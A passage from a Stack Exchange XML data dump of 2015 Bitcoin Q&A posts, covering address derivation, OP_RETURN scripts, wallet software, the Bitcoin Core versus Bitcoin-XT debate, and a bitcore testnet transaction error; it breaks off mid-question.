  <row Id="38146" PostTypeId="1" CreationDate="2015-06-21T14:48:20.800" Score="5" ViewCount="3055" Body="&lt;p&gt;I'm trying to find the set of bitcoin addresses from a public key associated with a user just to analyse this user transaction. Is there any way to derive/find all the addresses that have been generated by this public key so far?&lt;/p&gt;&#xA;" OwnerUserId="27007" LastActivityDate="2020-04-21T08:07:30.860" Title="Is it possible to discover the set of bitcoin addresses from a public key?" Tags="|address|public-key|cryptography|address-generation|" AnswerCount="2" CommentCount="11" ContentLicense="CC BY-SA 3.0" />
  <row Id="38147" PostTypeId="5" CreationDate="2015-06-21T15:43:37.820" Score="0" Body="&lt;p&gt;Bitcoin Core is the rebranding of bitcoin-qt. It is built on top of the original satoshi client and is the current reference client for Bitcoin. It is a full node wallet which forms the backbone of the Bitcoin network as most full nodes on the network run a version of Bitcoin Core.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin-qt was officially rebranded as Bitcoin Core in version 0.9.0 to distinguish between Bitcoin-the-network and Bitcoin-the-software. It still retains the prior naming schemes in its user agent and binary filenames.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="48884" LastEditDate="2017-10-20T01:46:23.697" LastActivityDate="2017-10-20T01:46:23.697" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38148" PostTypeId="4" CreationDate="2015-06-21T15:43:37.820" Score="0" Body="A full node implementation of the Bitcoin protocol with a GUI and a wallet. Bitcoin Core is a MIT-licensed Qt 5 GUI application for the original Bitcoin codebase. Additional/previous names include &quot;Bitcoin-Qt&quot;, &quot;Satoshi-Client&quot;, and &quot;Standard Client&quot;." OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2024-01-15T17:39:37.167" LastActivityDate="2024-01-15T17:39:37.167" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="38149" PostTypeId="1" CreationDate="2015-06-21T16:40:35.737" Score="1" ViewCount="86" Body="&lt;p&gt;I'm looking for objects in the source code of Bitcoin Core that record all block inventories distinguished by their miners - &lt;strong&gt;Is there a container that keeps track of blocks on &lt;code&gt;chainActive&lt;/code&gt; and stores it to disk?&lt;/strong&gt;&lt;br/&gt;&#xA;&lt;strong&gt;I'm trying to find analogs for what is defined as private and public branch in the &lt;a href=&quot;http://arxiv.org/pdf/1311.0243v5.pdf&quot; rel=&quot;nofollow&quot;&gt;paper about the Selfish Mine Attack&lt;/a&gt;.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;NOTE:&lt;/em&gt;&lt;br/&gt;&#xA;As I noticed by some tests, &lt;code&gt;vInventoryToSend&lt;/code&gt; and &lt;code&gt;setInventoryKnown&lt;/code&gt; don't seem to be very helpul in their actual form:&lt;br/&gt;&#xA;&lt;code&gt;vInventoryToSend&lt;/code&gt; &lt;strong&gt;temporarily&lt;/strong&gt; stores only freshly self-mined blocks and &lt;code&gt;setInventoryKnown&lt;/code&gt; stores all blocks, no matter if self-mined, received or even outside of &lt;code&gt;chainActive&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="24556" LastEditorUserId="24556" LastEditDate="2015-06-22T19:34:52.373" LastActivityDate="2015-06-22T19:34:52.373" Title="How to access locally stored inventory data?" Tags="|blockchain|message|inventory|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38150" PostTypeId="1" AcceptedAnswerId="38152" CreationDate="2015-06-21T19:17:35.237" Score="1" ViewCount="437" Body="&lt;p&gt;I'm trying to push 'hello world' in an op_return tx via blockchain.info and keep getting &lt;code&gt;None Standard Script Output OP_RETURN 68656c6c6f20776f726c64&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's my script&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;6a0b68656c6c6f20776f726c64&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It looks right to me. &lt;code&gt;6a&lt;/code&gt; -&gt; &lt;code&gt;op_return&lt;/code&gt;, &lt;code&gt;0b&lt;/code&gt; -&gt; &lt;code&gt;11&lt;/code&gt; which is the byte length, and &lt;code&gt;68656c6c6f20776f726c64&lt;/code&gt; is &lt;code&gt;hello world&lt;/code&gt;. What am I doing wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's my entire tx&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="18985" LastEditorUserId="18985" LastEditDate="2015-06-21T20:21:45.600" LastActivityDate="2015-06-21T20:27:47.910" Title="None Standard Script Output OP_RETURN" Tags="|op-return|non-standard-transaction|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="38151" PostTypeId="1" CreationDate="2015-06-21T19:25:19.117" Score="2" ViewCount="278" Body="&lt;p&gt;Is it possible to have multiple accounts within one wallet? Mycelium allows multiple accounts within one wallet, but I don't see how to do that within MultiBit HD.&lt;/p&gt;&#xA;" OwnerUserId="27010" LastEditorUserId="5406" LastEditDate="2015-10-20T08:52:36.020" LastActivityDate="2015-10-20T08:52:36.020" Title="Is it possible to have multiple accounts in MultiBit HD?" Tags="|multibit|bitcoin-core-accounts|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38152" PostTypeId="2" ParentId="38150" CreationDate="2015-06-21T20:27:47.910" Score="3" Body="&lt;p&gt;Blockchain.info has buggy system which does not validate OP_RETURN outputs properly. Your transaction was pushed successfully using competent software. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.blocktrail.com/BTC/tx/71c3da4e13f5b61c2cf05e9b5a22f3be989142b870c1cf7779a1d7b3f139d422&quot; rel=&quot;nofollow&quot;&gt;71c3da4e13f5b61c2cf05e9b5a22f3be989142b870c1cf7779a1d7b3f139d422&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="24925" LastActivityDate="2015-06-21T20:27:47.910" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="38153" PostTypeId="2" ParentId="38151" CreationDate="2015-06-21T20:40:27.530" Score="1" Body="&lt;p&gt;Only a single account (&quot;Account 1&quot; in myTrezor.com terminology) is supported in MultiBit HD.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is due to limitations of how the transaction data is obtained from the Bitcoin Core nodes. It is explained in the help in this article in the section headed &quot;Bloom filtering and single HD account support&quot;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://multibit.org/en/help/hd0.1/how-spv-works.html&quot; rel=&quot;nofollow&quot;&gt;https://multibit.org/en/help/hd0.1/how-spv-works.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Source: I am one of the devs for MultiBit HD.&lt;/p&gt;&#xA;" OwnerUserId="888" LastActivityDate="2015-06-21T20:40:27.530" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38155" PostTypeId="1" AcceptedAnswerId="38159" CreationDate="2015-06-22T03:05:32.813" Score="2" ViewCount="425" Body="&lt;p&gt;I am wondering - is it possible to delete a single element of an array in Ethereum without having to create a new array and copying the entire array? Reading &lt;a href=&quot;https://github.com/ethereum/wiki/wiki/Solidity-Tutorial&quot; rel=&quot;nofollow&quot;&gt;some of the documentation&lt;/a&gt;, I can't seem to find any good way of doing this.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2015-06-22T15:00:04.470" Title="How to delete an element of an array in an Ethereum contract?" Tags="|raw-data|ethereum|smartcontracts|" AnswerCount="2" CommentCount="0" ClosedDate="2020-04-25T23:41:32.787" ContentLicense="CC BY-SA 3.0" />
  <row Id="38156" PostTypeId="2" ParentId="38155" CreationDate="2015-06-22T05:51:15.717" Score="4" Body="&lt;p&gt;Refer to &lt;a href=&quot;https://github.com/ethereum/wiki/wiki/Solidity-Tutorial#arrays&quot; rel=&quot;nofollow&quot;&gt;the documentation&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;delete myArray[arrayIndex];&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5848" LastEditorUserId="20706" LastEditDate="2015-06-22T15:00:04.470" LastActivityDate="2015-06-22T15:00:04.470" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38157" PostTypeId="1" AcceptedAnswerId="38158" CreationDate="2015-06-22T09:43:01.440" Score="1" ViewCount="163" Body="&lt;p&gt;Are there any title agencies that explicitly accept bitcoin, such as for buying houses, land, cars, etc.?&lt;/p&gt;&#xA;" OwnerUserId="4334" LastEditorUserId="4334" LastEditDate="2015-06-22T15:53:00.657" LastActivityDate="2015-06-22T15:53:00.657" Title="Title Agencies that Accept Bitcoin?" Tags="|contracts|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38158" PostTypeId="2" ParentId="38157" CreationDate="2015-06-22T09:53:58.607" Score="3" Body="&lt;p&gt;This depends on the country you are in. In Brazil there is a company that does accept bitcoin. &lt;a href=&quot;http://www.tecnisa.com.br/bitcoin&quot; rel=&quot;nofollow&quot;&gt;http://www.tecnisa.com.br/bitcoin&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="26998" LastActivityDate="2015-06-22T09:53:58.607" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38159" PostTypeId="2" ParentId="38155" CreationDate="2015-06-22T09:54:47.020" Score="2" Body="&lt;p&gt;If you want the operation of removing an element from a list to be efficient (i.e. without having to copy the list), you have to use a different data structure, e.g. a linked list or a mapping with a reverse index. Note that &lt;code&gt;delete arr[ind]&lt;/code&gt; does not rearrange the array but only resets the array element.&lt;/p&gt;&#xA;" OwnerUserId="26726" LastActivityDate="2015-06-22T09:54:47.020" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38160" PostTypeId="2" ParentId="38077" CreationDate="2015-06-22T09:57:56.737" Score="0" Body="&lt;p&gt;There is also a list here &lt;a href=&quot;https://en.bitcoin.it/wiki/Real_world_shops&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Real_world_shops&lt;/a&gt; . It has a good list as well. &lt;/p&gt;&#xA;" OwnerUserId="26998" LastActivityDate="2015-06-22T09:57:56.737" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38162" PostTypeId="2" ParentId="32880" CreationDate="2015-06-22T10:05:25.067" Score="1" Body="&lt;p&gt;If I was an artist, I would have bitpay integrated to my Website, or direct people to an online store like Cryptothrift where my song would be listed and they can purchase it there with bitcoins. &lt;/p&gt;&#xA;" OwnerUserId="26998" LastActivityDate="2015-06-22T10:05:25.067" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38163" PostTypeId="2" ParentId="35494" CreationDate="2015-06-22T10:08:05.520" Score="0" Body="&lt;p&gt;My speculation about this was that the Ethereum IPO saw a large amount of bitcoins sold and converted to Fiat. Therefore it  started a wave of selling which became big and caused large amount of people to sell their coin fearing the price drop. It all came down in a wave, and in a short period of time. &lt;/p&gt;&#xA;" OwnerUserId="26998" LastActivityDate="2015-06-22T10:08:05.520" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38164" PostTypeId="2" ParentId="16873" CreationDate="2015-06-22T10:10:16.153" Score="3" Body="&lt;p&gt;There are new merchant tools available like Bitpay which basically convert bitcoins to USD onspot at the current price. It prevents merchants from taking any risk and it locks down the price for 15 minutes. &lt;/p&gt;&#xA;" OwnerUserId="26998" LastActivityDate="2015-06-22T10:10:16.153" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38166" PostTypeId="2" ParentId="16873" CreationDate="2015-06-22T11:01:07.407" Score="1" Body="&lt;p&gt;Merchants can ask their customers to pay in bitcoins according to the USD value. Example = if pizza cost $20, which is 0.10 btc something. And bitcoins prices get increased double.Then the pizza store can ask customers to pay the amount equivalent to USD.&lt;/p&gt;&#xA;" OwnerUserId="26991" LastActivityDate="2015-06-22T11:01:07.407" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38168" PostTypeId="1" AcceptedAnswerId="38180" CreationDate="2015-06-22T11:06:55.780" Score="-2" ViewCount="90" Body="&lt;p&gt;I am a bit addicted to gambling.&#xA;Whenever I receive any amount in my blockchain wallet, I play on it and always lost it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Suggest some ways to save and avoid gambling.&lt;/p&gt;&#xA;" OwnerUserId="26991" LastEditorUserId="2306" LastEditDate="2015-06-23T02:25:05.430" LastActivityDate="2015-06-23T22:55:56.370" Title="How to save your bitcoins to avoid gambling" Tags="|bitcoind|" AnswerCount="1" CommentCount="3" ClosedDate="2015-06-23T22:56:11.520" ContentLicense="CC BY-SA 3.0" />
  <row Id="38170" PostTypeId="1" CreationDate="2015-06-22T13:06:33.937" Score="-1" ViewCount="1821" Body="&lt;p&gt;I am creating a software and i want to take anonymous payments through bitcoins and once the payment is received to my bitcoin address then the user get serial key of that software...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so How i can check bitcoin payment of specific amount is received or not using bitcoin #transaction id in vb.net app.&lt;/p&gt;&#xA;" OwnerUserId="27025" LastActivityDate="2017-11-04T01:45:58.547" Title="How to check Bitcoin payments received or not" Tags="|bitcoin-core|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="38171" PostTypeId="2" ParentId="37725" CreationDate="2015-06-22T14:43:57.723" Score="1" Body="&lt;p&gt;You can export the spreadsheet as a CSV file, then parse it using your favorite programming language into a dictionary. Convert the dictionary to JSON, and that will give you the second argument to the sendmany command. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd do this in Python using the built-in csv and json packages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not aware of any solutions that will do this if you don't know how to program, though. &lt;/p&gt;&#xA;" OwnerUserId="21377" LastActivityDate="2015-06-22T14:43:57.723" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38172" PostTypeId="2" ParentId="8057" CreationDate="2015-06-22T14:57:25.490" Score="0" Body="&lt;p&gt;its very simple.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;just download ofline bitaddress.org page (for security, other wise online will also work, but there could be security risk )and click on wallet details  tab.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;enter your private key and you will get your corresponding public key.&lt;/p&gt;&#xA;" OwnerUserId="27027" LastActivityDate="2015-06-22T14:57:25.490" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="38173" PostTypeId="2" ParentId="38015" CreationDate="2015-06-22T15:13:05.840" Score="3" Body="&lt;p&gt;The closest solution to this is setting up your supplier with a payments processor like Coinbase or Bitpay, who will convert your BTC to fiat instantly. However, there's no way to send BTC to a bank account directly without some action by the other party. &lt;/p&gt;&#xA;" OwnerUserId="21377" LastEditorUserId="21377" LastEditDate="2015-06-22T16:46:52.307" LastActivityDate="2015-06-22T16:46:52.307" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38174" PostTypeId="1" AcceptedAnswerId="38175" CreationDate="2015-06-22T15:36:59.083" Score="2" ViewCount="138" Body="&lt;p&gt;Miners do not currently have a monetary incentive to fill up blocks with transactions (tx fees are negligible compared to the coinbase tx). Those miners that do fill up the blocks may do so with the long-term interests of the network in mind.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems clear to me that making the coinbase amount a function of the relative size of the block would result in a much better incentive. I cannot see any obvious drawbacks with it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A simple formula would be: &lt;code&gt;actual_coinbase = coinbase * (actual_block_size/MAX_BLOCK_SIZE)&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example: &lt;code&gt;actual_coinbase = 25BTC * (512KB/1024KB) = 12.5BTC&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course the actual implementation would have to take into account consensus issues (rounding, corner cases, etc), but it should be possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why would this &lt;strong&gt;not work&lt;/strong&gt;?&lt;/p&gt;&#xA;" OwnerUserId="8728" LastActivityDate="2015-06-22T15:51:50.800" Title="Dynamic coinbase as incentive to fill blocks" Tags="|bitcoin-core|mining-reward|consensus|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="38175" PostTypeId="2" ParentId="38174" CreationDate="2015-06-22T15:51:50.800" Score="3" Body="&lt;p&gt;This adds an incentive to fill blocks with ANYTHING that will take up space in the block. There are many different ways to incentivize including transactions, but they can typically be gamed because miners can create transactions themselves, and they gain all the fees from those transactions right back into their coinbase transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your suggestion, which has good intent, would likely cause miners to be incentivized to fill their blocks with meaningless transactions, and increase the already ever-increasing size of the blockchain, making it harder to run a full node.&lt;/p&gt;&#xA;" OwnerUserId="18196" LastActivityDate="2015-06-22T15:51:50.800" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="38176" PostTypeId="1" AcceptedAnswerId="38181" CreationDate="2015-06-22T16:21:29.837" Score="17" ViewCount="13062" Body="&lt;p&gt;I just read about Bitcoin Core and Bitcoin-XT, and I want to know what is the difference between Bitcoin Core and Bitcoin-XT?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And which is better Bitcoin Core or Bitcoin-XT?&lt;/p&gt;&#xA;" OwnerUserId="27028" LastEditorUserId="18196" LastEditDate="2015-06-22T17:42:24.963" LastActivityDate="2015-10-28T10:12:26.950" Title="Should I be running Bitcoin Core or Bitcoin-XT?" Tags="|bitcoin-core|bitcoin-xt|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38179" PostTypeId="2" ParentId="38176" CreationDate="2015-06-22T16:50:10.183" Score="-5" Body="&lt;p&gt;Core. Bram Cohen has a good writeup on medium&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The upcoming ‘crisis’ which is being used as a justification for a&#xA;  hard fork is something which it’s easy to convince people who aren’t&#xA;  very familiar with the technology will be a disaster. There’s a hard&#xA;  limit on the rate which transactions can happen, about five per&#xA;  second, and the transaction rate in bitcoin has been approaching that&#xA;  over time. We’re going to hit a wall! The sky is falling!&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;So what happens when that limit is reached?&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Transaction fees go up.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Literally, that’s all that happens. That’s the big ‘crisis’. What’s&#xA;  being claimed is: Transaction fees might go above two cents! The sky&#xA;  is falling! I am not exaggerating.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;and &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Raising the block size limit is the idea of Gavin Andresen, former&#xA;  Bitcoin lead developer, who initially went around to core developers&#xA;  and players in the Bitcoin ecosystem trying to convince them that it&#xA;  should be done. The core developers had reactions ranging from neutral&#xA;  to vitriolically against it. Rather than accept this strongly negative&#xA;  reaction as a sign that his idea is a bad one, or attempting to work&#xA;  on some kind of compromise proposal, Gavin’s now blaming the arguing&#xA;  on a lack of benevolent dictator or clear voting process. There are&#xA;  several obvious problems with this. In projects which have a real&#xA;  Benevolent Dictator For Life, that person was the one who created the&#xA;  project. Gavin didn’t invent Bitcoin. He isn’t even a Bitcoin&#xA;  developer any more. He resigned his position as lead developer a year&#xA;  ago, and has been largely inactive since. Using a voting process, or&#xA;  even a system of rough consensus among core developers would cause his&#xA;  proposal to be quickly rejected. It’s only the exertion of outside&#xA;  political force which has forced it to be taken seriously.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="27029" LastActivityDate="2015-06-22T16:50:10.183" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="38180" PostTypeId="2" ParentId="38168" CreationDate="2015-06-22T16:55:42.960" Score="4" Body="&lt;p&gt;You could put your BTC in a paper wallet, which makes them less accessible, especially if you store that paper wallet in a bank deposit box or another offsite, secure location. However, this is not really a technical problem. You should seek out a support group for gambling addiction if you cannot control yourself. &lt;/p&gt;&#xA;" OwnerUserId="21377" LastActivityDate="2015-06-22T16:55:42.960" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38181" PostTypeId="2" ParentId="38176" CreationDate="2015-06-22T17:13:50.800" Score="24" Body="&lt;p&gt;The two pieces of software, Bitcoin Core and Bitcoin-XT, are very similar. Bitcoin-XT is actually just a fork of Bitcoin Core with some features added that Bitcoin Core developers didn't deem appropriate, such as a larger block size (&lt;a href=&quot;https://github.com/gavinandresen/bips/blob/fd99a8ce04dbad96fb275e0300a7ee669e70f418/bip-0101.mediawiki&quot; rel=&quot;noreferrer&quot;&gt;BIP 101&lt;/a&gt;) and relaying of double spends.&lt;/p&gt;&#xA;&lt;p&gt;Bitcoin Core is more up-to-date with all of the work that the community doing. Additionally, Bitcoin-XT now has a different consensus protocol regarding the maximum size of blocks. There has been much debate within the bitcoin community about if/how/when to increase the artificially imposed block size limit (of 1 MB), and one attempt to resolve this debate is being done through Bitcoin-XT.&lt;/p&gt;&#xA;&lt;p&gt;The &lt;a href=&quot;https://github.com/bitcoinxt/bitcoinxt&quot; rel=&quot;noreferrer&quot;&gt;Bitcoin-XT README.md&lt;/a&gt; has these notes on how it is different than Bitcoin Core:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Support for larger blocks. XT has support for BIP 101 by Gavin Andresen, which schedules an increase from the one megabyte limit Bitcoin is now hitting.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Relaying of double spends. Bitcoin Core will simply drop unconfirmed transactions that double spend other unconfirmed transactions, forcing merchants who want to know about them to connect to thousands of nodes in the hope of spotting them. This is unreliable, wastes resources and isn't feasible on mobile devices. Bitcoin XT incorporates work by Tom Harding and Gavin Andresen that relays the first observed double spend of a transaction. Additionally, it will highlight it in red in the user interface. Other wallets also have the opportunity to use the new information to alert the user that there is a fraud attempt against them.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Support for querying the UTXO set given an outpoint. This is useful for apps that use partial transactions, such as the Lighthouse crowdfunding app. The feature allows a client to check that a partial SIGHASH_ANYONECANPAY transaction is correctly signed and by querying multiple nodes, build up some confidence that the output is not already spent.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;DNS seed changes: bitseed.xf2.org is removed as it no longer works, and seeds from Addy Yeow and Mike Hearn are (re)added to increase seed diversity and redundancy.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;So, if you support these changes and/or the possible future changes on the consensus-block-size-limit, run Bitcoin-XT. The releases are available here: &lt;a href=&quot;https://github.com/bitcoinxt/bitcoinxt/releases&quot; rel=&quot;noreferrer&quot;&gt;https://github.com/bitcoinxt/bitcoinxt/releases&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="18196" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2015-08-18T21:43:48.400" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="38182" PostTypeId="2" ParentId="38135" CreationDate="2015-06-22T17:19:17.353" Score="4" Body="&lt;p&gt;The two clients are based off of the same code base. To use Bitcoin-XT, you only need to make sure your Bitcoin Core client is shut off when you start the Bitcoin-XT client. The two programs use the same data directory and wallets, so all your coins will still be there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &quot;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/38176/bitcoin-core-or-xt&quot;&gt;Should I be running Bitcoin Core or Bitcoin-XT?&lt;/a&gt;&quot; for more info regarding the differences between the two software packages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the README.md of Bitcoin-XT, it even says:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;XT uses the same data directories as Core so you can easily switch back and forth.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="18196" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.660" LastActivityDate="2015-06-22T17:35:52.880" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="38183" PostTypeId="1" AcceptedAnswerId="38186" CreationDate="2015-06-22T17:52:23.203" Score="2" ViewCount="1580" Body="&lt;p&gt;I am trying to push a raw transaction to blockr.io &lt;strong&gt;testnet&lt;/strong&gt; using bitcore (current latest version 0.12.9) for node.js &lt;a href=&quot;https://github.com/bitpay/bitcore&quot; rel=&quot;nofollow&quot;&gt;https://github.com/bitpay/bitcore&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have constructed my transaction like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var unspents=&#xA;[ { txid: '67b22a1874be2e748b2c904e2181f85a9d6503001e58c374e17b1161cd5a36f4',&#xA;    vout: 0,&#xA;    address: 'myHtNgECiAjBctWz1tM2TN2PupWwfHtgMi',&#xA;    scriptPubKey: '76a914c2f9958848c465efd042fcb76fef519f03a83ec288ac',&#xA;    amount: 100000,&#xA;    confirmations: 39 } ];&#xA;&#xA;&#xA;&#xA;    var transaction=new bitcore.Transaction()&#xA;    .fee(bitcore.Unit.fromBTC(0.0001).toSatoshis())&#xA;    .from(unspents) // there is one unspent of 0.001&#xA;    .to(bitcore.Address.fromString(payToAddress),0.001)&#xA;    .change(myAddress)&#xA;    .sign(privateKey);&#xA;&#xA;&#xA;&#xA;console.log(transaction.isFullySigned()); // This returns true&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I POST this to blockr.io I serialize it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;'https://'+'t'+'btc.blockr.io/api/v1/tx/push'    // &amp;lt; t at the beginning is for testnet&#xA;&#xA;{'hex':transaction.serialize()} // 0100000001f4365acd61117be174c3581e0003659d5af881214e902c8b742ebe74182ab267000000006a47304402204f5950a8f8e7346e96101da811452246d51741131310f58d5cfdc064e547d3dc02202b817a442bb043a1174fe0703082ebbd7bc622afc00084710be21fa143444d83012102bbe798da887604bdd360dd059061b48816634e44d9f54563af2c727b8bcb3e2fffffffff02a08601000000000017a9149ffdff1f3eea0deb21ed967b91c7ef3cce65b2d68750f2704e180900001976a914c2f9958848c465efd042fcb76fef519f03a83ec288ac00000000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The response I get back from blockr.io is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[ { status: 'fail',&#xA;    data: 'Could not push your transaction!',&#xA;    code: 500,&#xA;    message: 'Did you sign your transaction?' },&#xA;  500 ]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Below is the transaction I sent but as JSON. I'm thinking there is something wrong with it?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;&quot;version&quot;:1,&#xA;&quot;inputs&quot;:&#xA;[{&#xA;    &quot;prevTxId&quot;:&quot;67b22a1874be2e748b2c904e2181f85a9d6503001e58c374e17b1161cd5a36f4&quot;,&#xA;    &quot;outputIndex&quot;:0,&#xA;    &quot;sequenceNumber&quot;:4294967295,&#xA;    &quot;script&quot;:&quot;47304402204f5950a8f8e7346e96101da811452246d51741131310f58d5cfdc064e547d3dc02202b817a442bb043a1174fe0703082ebbd7bc622afc00084710be21fa143444d83012102bbe798da887604bdd360dd059061b48816634e44d9f54563af2c727b8bcb3e2f&quot;,&#xA;    &quot;scriptString&quot;:&quot;71 0x304402204f5950a8f8e7346e96101da811452246d51741131310f58d5cfdc064e547d3dc02202b817a442bb043a1174fe0703082ebbd7bc622afc00084710be21fa143444d8301 33 0x02bbe798da887604bdd360dd059061b48816634e44d9f54563af2c727b8bcb3e2f&quot;,&#xA;    &quot;output&quot;:{&#xA;        &quot;satoshis&quot;:10000000000000,&#xA;        &quot;script&quot;:&quot;76a914c2f9958848c465efd042fcb76fef519f03a83ec288ac&quot;&#xA;    }&#xA;}]&#xA;,&quot;outputs&quot;:&#xA;[{&#xA;    &quot;satoshis&quot;:100000,&#xA;    &quot;script&quot;:&quot;a9149ffdff1f3eea0deb21ed967b91c7ef3cce65b2d687&quot;&#xA;},{&#xA;    &quot;satoshis&quot;:9999999890000,&#xA;    &quot;script&quot;:&quot;76a914c2f9958848c465efd042fcb76fef519f03a83ec288ac&quot;&#xA;}]&#xA;,&quot;nLockTime&quot;:0,&#xA;&quot;changeScript&quot;:&quot;OP_DUP OP_HASH160 20 0xc2f9958848c465efd042fcb76fef519f03a83ec2 OP_EQUALVERIFY OP_CHECKSIG&quot;,&#xA;&quot;changeIndex&quot;:1,&#xA;&quot;fee&quot;:10000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I signed it with my private key then serialized it as blockr wants it in hex format does this mean I have got to somehow sign it after it's serialized or what?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And what is the deal with these large 